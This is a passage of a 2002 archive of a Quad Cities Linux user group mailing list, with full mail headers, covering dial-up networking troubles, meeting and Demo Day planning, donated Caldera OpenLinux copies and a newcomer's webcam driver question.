pull my email backups and file backups on to a FAT32 patition. >From what I've read about Write support for NTFS is that if you do "alot" of it windows won't be able to "repair" itself when you boot it next. Basically the write makes windows think that you didn't shut the computer down properly and windows finishes putting it the "proper" place. But I was moving almost 40 megs, and that seemed like a little too much to risk. I had the extra space so I just installed another copy of 2K to stage the restore from. When all was said and done it was a matter of changing a 2 to a 1 in the boot.ini, but I didn't know that .. Doug BTW - I learned my lesson about "dangerous" kernel additions/modules a while back ... I like the ones with no disclaimer by them :-) From gentoo@mchsi.com Sat Aug 10 15:43:43 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 14241 invoked by uid 1051); 10 Aug 2002 15:43:43 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 10 Aug 2002 15:43:43 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020810154343.LJGJ23220.sccmmhc01.mchsi.com@laptop> for ; Sat, 10 Aug 2002 15:43:43 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] dial up help Date: Sat, 10 Aug 2002 10:35:07 +0000 User-Agent: KMail/1.4.2 References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208101035.07849.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sat, 10 Aug 2002 15:43:43 -0000 I got it to work i ran pppconfig and then #/usr/sbin/pppd call dialup. it works fine everytime i had to change all the permision for the files=20 pppconfig made to connect as a normal user strange after i got it workin= g in=20 a konsole ,=20 kppp works (after i connetced once with kppp) i will have to reboot to see if it works straight off . im thinking pppd= does=20 something that kppp does not maybe . and yes i have read some docs and ma= n=20 pages :) well im going to reboot and im still clueless why kppp wont work= ?=20 the files i modified should have nothing to do with kppp . i also have to bring down eth0 or the route for ppp0 does not get set . = Is=20 there a way to fix this . Im thinking of setting up all networking manual= y .=20 or can there be a script to see which network to use. because my network = is=20 set to my internel network when i go other places i have to reset my netw= ork=20 to those places . I need help / a favor the modem i have for my laptop is a hardware modem = 56k but it needs to be flashed to make work with 56k v.90 . the flash program= is=20 on dells website . but it says that you must have windows to run the flas= h=20 update ( it dont run in dos :( ) so does anyone have a windows laptop tha= t=20 you could flash my pcmcia modem. My modem is only connecting at 28k v.32 =20 On Friday 09 August 2002 03:43 pm, Paul Gray wrote: > On Thu, 8 Aug 2002, Noah Justin Norris wrote: > > at least it did work ..... anyone got any suggestions > > suggestions for what, exactly? Your message doesn't make sense when > you say that it works, and request suggestions too. > > Are you asking what to do to get kppp to modify static files ala Mandra= ke > in Gentoo? > > Paul Gray -o) > 323 Wright Hall /\\ > University of Northern Iowa _\_V > Message void if penguin violated ... Don't mess with the penguin > No one ever says "Hey, I can't read that ASCII e-mail ya sent me." > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From noah_norris@mchsi.com Sat Aug 10 23:19:57 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 15128 invoked by uid 1051); 10 Aug 2002 23:19:57 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 10 Aug 2002 23:19:57 -0000 Received: from noah3.mchsi.com ([12.217.84.119]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020810231958.TADY7903.sccmmhc02.mchsi.com@noah3.mchsi.com> for ; Sat, 10 Aug 2002 23:19:58 +0000 Content-Type: text/plain; charset="us-ascii" From: Noah Justin Norris To: qclug@qclug.org Date: Sat, 10 Aug 2002 18:12:35 +0000 User-Agent: KMail/1.4.2 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208101812.35616.noah_norris@mchsi.com> Subject: [QCLUG] kazaa / wine / linux X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: noah_norris@mchsi.com, qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sat, 10 Aug 2002 23:19:57 -0000 is it possible to run kazaa completely in linux in wine ?=20 linux will be the only os on this computer . ?=20 --=20 life is linux linux is life From noah_norris@yahoo.com Sun Aug 11 02:52:13 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 15469 invoked by uid 1051); 11 Aug 2002 02:52:13 -0000 Received: from unknown (HELO web14607.mail.yahoo.com) (216.136.224.87) by 0 with SMTP; 11 Aug 2002 02:52:13 -0000 Message-ID: <20020811025201.76478.qmail@web14607.mail.yahoo.com> Received: from [12.217.84.119] by web14607.mail.yahoo.com via HTTP; Sat, 10 Aug 2002 19:52:01 PDT Date: Sat, 10 Aug 2002 19:52:01 -0700 (PDT) From: Noah Norris Subject: Re: [QCLUG] linuxworld To: qclug@qclug.org In-Reply-To: <1028576224.2020.25.camel@runabout.noc.starken.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Sun, 11 Aug 2002 02:52:13 -0000 I would go but have no way there . --- Daniel Wittenberg wrote: > Anyone else going to Linuxworld next week and want > to hook up? > > Dan > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug ===== your mouse has moved you have to restart windows for the changes to take effect. -------------- life is linux linux is life __________________________________________________ Do You Yahoo!? HotJobs - Search Thousands of New Jobs http://www.hotjobs.com From OrtegaAlexC@JohnDeere.com Mon Aug 12 13:37:08 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 19430 invoked by uid 1051); 12 Aug 2002 13:37:07 -0000 Received: from unknown (HELO fdpnmailgw3.mailgws.com) (192.43.65.231) by 0 with SMTP; 12 Aug 2002 13:37:07 -0000 X-Server-Uuid: 2d3b7162-db1d-11d3-b8ee-0008c7dfb6f1 Message-ID: From: "Ortega Alex C" To: "'qclug@qclug.org'" Date: Mon, 12 Aug 2002 08:37:07 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) X-WSS-ID: 1149658E249770-01-02 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [QCLUG] Meeting this week??????? X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 12 Aug 2002 13:37:08 -0000 What is the status of our meetings? We should be having a meeting tomorrow night, but where and when, if we are having one??? Im up for it if everyone else is.... But i know we have the poll up and it has Saturdays as the leader 14 to 10 (to 3). We need to talk about the DemoDay, the date is September 21st, and that is coming up sooner than one would think... The set location is Augustana College, i believe. Getting a new Pepsi sign is next to impossible, i talked to a person there and they told me they get so many requests, that they kinda quit doing it. We need to make signs/purchase signs to make sure people can locate it wherever it will be.... We have SIGBAP scheduled for the last Friday of the month, which could possibly become a semi-regular event if attendance is good... Make sure to RSVP to superdug@dugnet.com. Alexander C. Ortega ------ Computer - "Dude! Your computer is crashing..." Kid - "Mom!!!! Mom-"Yes hon?" Kid-"Did you install some memory from Dell?" ------ From jim.biehn@iowawireless.com Mon Aug 12 14:07:03 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 19603 invoked by uid 1051); 12 Aug 2002 14:07:03 -0000 Received: from unknown (HELO metis.iowawireless.com) (209.152.82.131) by 0 with SMTP; 12 Aug 2002 14:07:03 -0000 Received: by metis.iowawireless.com with Internet Mail Service (5.5.2653.19) id ; Mon, 12 Aug 2002 09:05:40 -0500 Message-ID: From: Jim Biehn To: "'qclug@qclug.org'" Date: Mon, 12 Aug 2002 09:05:34 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C24209.53C00FF0" Subject: [QCLUG] Caldera OpenLinux X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 12 Aug 2002 14:07:03 -0000 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C24209.53C00FF0 Content-Type: text/plain; charset="iso-8859-1" I was shipped 5 copies of OpenLinux Server and 10 copies of OpenLinux Work Station from Caldera. I will be sending some copies to the Galesburg, IL. LUG. Would anyone be interested in trying this product and generating some evals for this software? Let me know when and where............Jim. ------_=_NextPart_001_01C24209.53C00FF0 Content-Type: text/html; charset="iso-8859-1"
I was shipped 5 copies of OpenLinux Server and 10 copies of OpenLinux Work Station from Caldera. I will be sending some copies to the Galesburg, IL. LUG. Would anyone be interested in trying this product and generating some evals for this software? Let me know when and where............Jim.
------_=_NextPart_001_01C24209.53C00FF0-- From jim.biehn@iowawireless.com Mon Aug 12 14:36:50 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 19814 invoked by uid 1051); 12 Aug 2002 14:36:49 -0000 Received: from unknown (HELO metis.iowawireless.com) (209.152.82.131) by 0 with SMTP; 12 Aug 2002 14:36:49 -0000 Received: by metis.iowawireless.com with Internet Mail Service (5.5.2653.19) id ; Mon, 12 Aug 2002 09:35:31 -0500 Message-ID: From: Jim Biehn To: 'Ortega Alex C' Cc: "'qclug@qclug.org'" Subject: RE: [QCLUG] Caldera OpenLinux Date: Mon, 12 Aug 2002 09:35:22 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Mon, 12 Aug 2002 14:36:50 -0000 I became friends via email with the sales group at Caldera. Since then I have received their software in trade for some evals and they monitor the LUG mail to read the reviews. I would like to make a meeting and pass this stuff out, let me know when and where, I will be there! Jim -----Original Message----- From: Ortega Alex C [mailto:OrtegaAlexC@JohnDeere.com] Sent: Monday, August 12, 2002 9:13 AM To: 'jim.biehn@iowawireless.com' Subject: RE: [QCLUG] Caldera OpenLinux Jim, Any copies you could spare would be great. QCLUG is planning a DemoDay September 21st at Augustana College, well at least that is the plan. I personally would love a copy to evaluate/test on my server at home, and im sure some other lug members would as well. Even one copy to use as a handout at the DemoDay would be great. How exactly did you receive 15 copies? Just curious. QCLUG is supossed to have a meeting tomorrow night, if you are in the QC, but with the reorginazation of the LUG, i am not sure... I will set one up either way and post to the list... Thanks Alexander C. Ortega Service ADVISOR(tm) Summer Support Team JDIS : John Deere Information Services (309) 765-2916 - Office ------ Computer - "Dude! Your computer is crashing..." Kid - "Mom!!!! Mom-"Yes hon?" Kid-"Did you install some memory from Dell?" ------ > -----Original Message----- > From: Jim Biehn [SMTP:] > Sent: Monday, August 12, 2002 9:06 AM > To: 'qclug@qclug.org' > Subject: [QCLUG] Caldera OpenLinux > > I was shipped 5 copies of OpenLinux Server and 10 copies of OpenLinux Work > Station from Caldera. I will be sending some copies to the Galesburg, IL. > LUG. Would anyone be interested in trying this product and generating some > evals for this software? Let me know when and where............Jim. From gentoo@mchsi.com Tue Aug 13 03:17:06 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 23277 invoked by uid 1051); 13 Aug 2002 03:17:06 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 13 Aug 2002 03:17:06 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020813031650.POGE7903.sccmmhc02.mchsi.com@laptop> for ; Tue, 13 Aug 2002 03:16:50 +0000 Content-Type: text/plain; charset="us-ascii" From: Noah Justin Norris To: qclug@qclug.org Date: Mon, 12 Aug 2002 22:06:00 +0000 User-Agent: KMail/1.4.2 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208122206.00606.gentoo@mchsi.com> Subject: [QCLUG] meeting ??? X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 13 Aug 2002 03:17:06 -0000 is there a meeting tomorow ? --=20 life is linux=20 linux is life=20 From darthbobby_sithlord@yahoo.com Tue Aug 13 04:13:28 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 23585 invoked by uid 1051); 13 Aug 2002 04:13:28 -0000 Received: from unknown (HELO web9602.mail.yahoo.com) (216.136.129.181) by 0 with SMTP; 13 Aug 2002 04:13:28 -0000 Message-ID: <20020813041326.73326.qmail@web9602.mail.yahoo.com> Received: from [65.101.86.76] by web9602.mail.yahoo.com via HTTP; Mon, 12 Aug 2002 21:13:26 PDT Date: Mon, 12 Aug 2002 21:13:26 -0700 (PDT) From: Cristina Amador To: qclug@qclug.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [QCLUG] Newbie!- Question about drivers for Quickcam Traveler X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 13 Aug 2002 04:13:28 -0000 mornin'! I just subscribed to the list. I actually just installed linux on Wednesday, so i am tres confused! I've just been trying to get everything i regularly use installed, so i can then move on to exploring all the stuff that came with it. I have SuSE Linux 8.0, by the way. Ok, so I (with the help of my husband) got messenger to work, but i was wondering about webcams/digital cameras. i have a Quickcam Traveler. It seems that its being recognized, but i can't find any drivers for it. I know it's a fairly recent camera, all the drivers i've found are for other, older models. Does anyone know if there are any available anywhere? i've read something about logitech not giving out certain info that is necessary for drivers. and i know older usb cameras don't seem to work on linux. Any help qould be appreciated! :) It should be apparent that i have no idea what im doing, my husband got linux for his computer, and we decided to install it on mine because i was fed up with windows and its damn error messages, and it had problems with java, and an error on drive c, but i couldnt run scandisk because it said something was writing on it, but there was nothing else running..! sigh.... anyhoo...he's the programing student, but he is also new to linux, so we are both clueless. Thank you for your time. Peace!, Cristina ===== (To the tune of "I am Woman") I am Cute!, I am Adorable, I am Tina....! __________________________________________________ Do You Yahoo!? HotJobs - Search Thousands of New Jobs http://www.hotjobs.com From OrtegaAlexC@JohnDeere.com Tue Aug 13 12:24:16 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 24526 invoked by uid 1051); 13 Aug 2002 12:24:16 -0000 Received: from unknown (HELO fdpnmailgw1.mailgws.com) (192.43.65.82) by 0 with SMTP; 13 Aug 2002 12:24:16 -0000 X-Server-Uuid: 2d3b7162-db1d-11d3-b8ee-0008c7dfb6f1 Message-ID: From: "Ortega Alex C" To: "'qclug@qclug.org'" Date: Tue, 13 Aug 2002 07:24:15 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) X-WSS-ID: 114625E53547400-01-02 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [QCLUG] MEETING TONIGHT!!!! 6:30 PM X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 13 Aug 2002 12:24:16 -0000 There will be a meeting tonight @ 6:30pm at Sorenson Hall, room 270. (Same location as last month) (North east corner of 7th avenue and 38th street Rock Island) We will be discussing the upcoming Demo Day (Sept. 21st is coming up) and possible changes to the meeting day. Also, we need to find out the numbers of people that will be attending SIGBAP so we can reserve enough room. And of course as always, any and all general merriment and topical discussion..... Any comments or concerns, please let me know... Have a good day, Alexander C. Ortega (309) 765-2916 - Office (563) 508-2761 - Mobile I will be working until about 6:30 or 7, so I will arrive as soon as humanly possible... From gentoo@mchsi.com Tue Aug 13 14:19:54 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 25114 invoked by uid 1051); 13 Aug 2002 14:19:53 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 13 Aug 2002 14:19:53 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020813141951.TCTQ7903.sccmmhc02.mchsi.com@laptop> for ; Tue, 13 Aug 2002 14:19:51 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] MEETING TONIGHT!!!! 6:30 PM Date: Tue, 13 Aug 2002 09:08:51 +0000 User-Agent: KMail/1.4.2 References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208130908.51990.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 13 Aug 2002 14:19:54 -0000 sounds good i will be there :) who else is coming ?=20 On Tuesday 13 August 2002 12:24 pm, Ortega Alex C wrote: > There will be a meeting tonight @ 6:30pm at Sorenson Hall, room 270. (S= ame > location as last month) > (North east corner of 7th avenue and 38th street Rock Island) > > We will be discussing the upcoming Demo Day (Sept. 21st is coming up) a= nd > possible changes to the meeting day. > > Also, we need to find out the numbers of people that will be attending > SIGBAP so we can reserve enough room. > > And of course as always, any and all general merriment and topical > discussion..... > > Any comments or concerns, please let me know... > > Have a good day, > Alexander C. Ortega > (309) 765-2916 - Office > (563) 508-2761 - Mobile > I will be working until about 6:30 or 7, so I will arrive as soon as > humanly possible... > > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From sb@helios.augustana.edu Tue Aug 13 20:49:47 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 27109 invoked by uid 1051); 13 Aug 2002 20:49:47 -0000 Received: from unknown (HELO helios.augustana.edu) (143.226.129.5) by 0 with SMTP; 13 Aug 2002 20:49:47 -0000 Date: Tue, 13 Aug 2002 15:42:41 -0500 (CDT) From: Shawn Beattie To: Ortega Alex C cc: qclug@qclug.org In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Mailman-Approved-At: Tue, 13 Aug 2002 20:58:55 -0000 Subject: [QCLUG] Re: Meeting Tonight August 13th, 2002 - 6:30pm X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Tue, 13 Aug 2002 20:49:47 -0000 The same room (Sorensen Rm 270) is the location....with Demo Day around the corner, I hope there will be some good discussion. For those that were not there last month, Sorensen Hall is located at 38th St and 7th Ave in Rock Island. Park adjacent to the building or across the street and use the pedestrian walkway. Shawn On Tue, 13 Aug 2002, Ortega Alex C wrote: > Shawn, > That would be great... (Sorry I didnt reply till now, im working half days > this week at deere(7-11am) and then back to class next monday.) > Sorensen Hall Rm 270 was a pretty good room. > If you could get it open, that would be great.. > I hope you are able to attend if possible... > Thanks again for your help Shawn. > > I will post to the list now, if you have any questions give me a call at my > office #, ill be there till 11am, or my mobile 563-508-2761.. > > Alexander C. Ortega > (309) 765-2916 - Office > ------ > Computer - "Dude! Your computer is crashing..." > Kid - "Mom!!!! > Mom-"Yes hon?" > Kid-"Did you install some memory from Dell?" > ------ > > > -----Original Message----- > > From: Shawn Beattie [SMTP:sb@helios.augustana.edu] > > Sent: Monday, August 12, 2002 11:26 PM > > To: Ortega Alex C > > Subject: Re: Next Meeting and DemoDay > > > > If it is OK, I should be able to open up the same classroom used last > > month. I was not there and haven't seen minutes, so I have no idea > > how the location worked out. > > > > Shawn > > > > On Tue, 6 Aug 2002, Ortega Alex C wrote: > > > > > Lugites, > > > Any suggestions as to when and where the next meeting shall be held? > > > It is almost upon us... A week from today... > > > Should we stick to Augustana for the location???? > > > or will we move the meetings to a new day, Saturday???? > > > The poll is not over whelming, but in favor of moving the meeting day. > > > I think location is not a very important factor in our meetings, yet... > > > > > > As for the DemoDay, what do we need to get cracking on? > > > > > > > > > Alexander C. Ortega > > > Service ADVISOR(tm) Summer Support Team > > > JDIS : John Deere Information Services > > > (309) 765-2916 - Office > > > ------ > > > What you see is what you get... > > > But what you don't is better yet. > > > ------ > > > > > > > > > > > > > From gentoo@mchsi.com Wed Aug 14 02:36:51 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 28640 invoked by uid 1051); 14 Aug 2002 02:36:51 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 14 Aug 2002 02:36:51 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020814023653.XMBJ23220.sccmmhc01.mchsi.com@laptop> for ; Wed, 14 Aug 2002 02:36:53 +0000 Content-Type: text/plain; charset="us-ascii" From: Noah Justin Norris To: qclug@qclug.org Date: Tue, 13 Aug 2002 21:24:43 +0000 User-Agent: KMail/1.4.2 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208132024.56672.gentoo@mchsi.com> Subject: [QCLUG] Meeting Notes X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 14 Aug 2002 02:36:51 -0000 6 people showed up=20 Topics Discussed =091. Haveing a second meeting. ( not many people showed up for us to=20 discuses the demo days ) =092. Ways to attract people to linux. ( GUI database setup and admin lik= e MS=20 (tm) access ) (Talked about frontends to databases) =093. Writing articals for a local newspaper on linux (reader) =094. Talked about linux / windows office suits. =095. Who has the Qclug banner ???. =096. Discused some basic thing about the demo day . (banner people what = is=20 everyone bringing what things are we Gona need ). =097. Talked about advertising demo day :) =09What can you do to make the lug better ? Also mentitioned having multi= ple=20 meetings and having persentations agian . :) I brought my laptop which wa= s=20 running gentoo linux (only). And i will be bringing it with me for people= to=20 write notes during the meeting , And for research .=20 --=20 life is linux=20 linux is life where do you want to go today hey wait im allready there working on tomorow :) From gentoo@mchsi.com Wed Aug 14 04:25:05 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 28993 invoked by uid 1051); 14 Aug 2002 04:25:05 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 14 Aug 2002 04:25:05 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020814042457.XQH7903.sccmmhc02.mchsi.com@laptop> for ; Wed, 14 Aug 2002 04:24:57 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] Newbie!- Question about drivers for Quickcam Traveler Date: Tue, 13 Aug 2002 23:13:12 +0000 User-Agent: KMail/1.4.2 References: <20020813041326.73326.qmail@web9602.mail.yahoo.com> In-Reply-To: <20020813041326.73326.qmail@web9602.mail.yahoo.com> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208132313.12844.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 14 Aug 2002 04:25:05 -0000 I tried looking for this device support under linux and i was unable to f= ind=20 it . this site is the linux usb website you csn find info on linux usb he= re=20 along with device support http://www.linux-usb.org/ this website is for the video for linux project may give info about your= =20 webcam and or other webcams that will work under linux=20 http://www.exploits.org/v4l/=20 quickcam direct links=20 http://digilander.libero.it/demarchidaniele/qcamvc/quickcam-vc.html http://qce-ga.sourceforge.net/ http://www.smcc.demon.nl/webcam/ to find anymore info you might need more info about your cam .. warning s= ome=20 of the drivers on some of the pages i looked at can damage your cam pleas= e be=20 carefull=20 hope this helps i dont have much experiance with webcams i have got my ib= mcam=20 working good and my digital camera . all the info i got about i got from=20 google. ( www.google.com ) On Tuesday 13 August 2002 04:13 am, Cristina Amador wrote: > mornin'! > I just subscribed to the list. I actually just > installed linux on Wednesday, so i am tres confused! > I've just been trying to get everything i regularly > use installed, so i can then move on to exploring all > the stuff that came with it. I have SuSE Linux 8.0, by > the way. Ok, so I (with the help of my husband) got > messenger to work, but i was wondering about > webcams/digital cameras. i have a Quickcam Traveler. > It seems that its being recognized, but i can't find > any drivers for it. I know it's a fairly recent > camera, all the drivers i've found are for other, > older models. Does anyone know if there are any > available anywhere? i've read something about > logitech not giving out certain info that is necessary > for drivers. and i know older usb cameras don't seem > to work on linux. Any help qould be appreciated! :) > > It should be apparent that i have no idea what im > doing, my husband got linux for his computer, and we > decided to install it on mine because i was fed up > with windows and its damn error messages, and it had > problems with java, and an error on drive c, but i > couldnt run scandisk because it said something was > writing on it, but there was nothing else running..! > sigh.... > > anyhoo...he's the programing student, but he is also > new to linux, so we are both clueless. > Thank you for your time. > > Peace!, > Cristina > > > =3D=3D=3D=3D=3D > (To the tune of "I am Woman") > I am Cute!, > I am Adorable, > I am Tina....! > > __________________________________________________ > Do You Yahoo!? > HotJobs - Search Thousands of New Jobs > http://www.hotjobs.com > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From jimbiehn@frontiernet.net Wed Aug 14 08:55:42 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 29585 invoked by uid 1051); 14 Aug 2002 08:55:42 -0000 Received: from unknown (HELO relay04.roc.frontiernet.net) (66.133.131.37) by 0 with SMTP; 14 Aug 2002 08:55:42 -0000 Received: (qmail 20937 invoked from network); 14 Aug 2002 08:55:41 -0000 Received: from unknown (HELO LivingRoom) ([64.210.93.46]) (envelope-sender ) by relay04.roc.frontiernet.net (qmail-ldap-1.03) with SMTP for ; 14 Aug 2002 08:55:41 -0000 Received: by localhost with Microsoft MAPI; Wed, 14 Aug 2002 03:55:38 -0500 Message-ID: <01C24346.734E7AD0.jimbiehn@frontiernet.net> From: Jim Biehn To: "'qclug@qclug.org'" Subject: RE: [QCLUG] Meeting Notes Date: Wed, 14 Aug 2002 03:55:36 -0500 X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 14 Aug 2002 08:55:42 -0000 Sorry I did not make the meeting, worked till 4 AM today, I will get with someone to pass off some of this software (OpenLinux Server and Workstation) let me know...........Jim -----Original Message----- From: Noah Justin Norris [SMTP:gentoo@mchsi.com] Sent: Tuesday, August 13, 2002 4:25 PM To: qclug@qclug.org Subject: [QCLUG] Meeting Notes 6 people showed up Topics Discussed 1. Haveing a second meeting. ( not many people showed up for us to discuses the demo days ) 2. Ways to attract people to linux. ( GUI database setup and admin like MS (tm) access ) (Talked about frontends to databases) 3. Writing articals for a local newspaper on linux (reader) 4. Talked about linux / windows office suits. 5. Who has the Qclug banner ???. 6. Discused some basic thing about the demo day . (banner people what is everyone bringing what things are we Gona need ). 7. Talked about advertising demo day :) What can you do to make the lug better ? Also mentitioned having multiple meetings and having persentations agian . :) I brought my laptop which was running gentoo linux (only). And i will be bringing it with me for people to write notes during the meeting , And for research . -- life is linux linux is life where do you want to go today hey wait im allready there working on tomorow :) _______________________________________________ QCLUG mailing list QCLUG@qclug.org http://qclug.org/mailman/listinfo/qclug From JSmith@sedonaesolutions.com Wed Aug 14 14:06:49 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 30375 invoked by uid 1051); 14 Aug 2002 14:06:49 -0000 Received: from unknown (HELO gabriel.sedonaesolutions.com) (63.97.64.194) by 0 with SMTP; 14 Aug 2002 14:06:49 -0000 Received: by GABRIEL with Internet Mail Service (5.5.2653.19) id ; Wed, 14 Aug 2002 09:06:33 -0500 Message-ID: From: Jerry Smith To: "'qclug@qclug.org'" Date: Wed, 14 Aug 2002 09:06:32 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [QCLUG] Good to be back X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 14 Aug 2002 14:06:49 -0000 I'm glad things are up and running again for the qclug! From OrtegaAlexC@JohnDeere.com Wed Aug 14 14:07:50 2002 Return-Path: 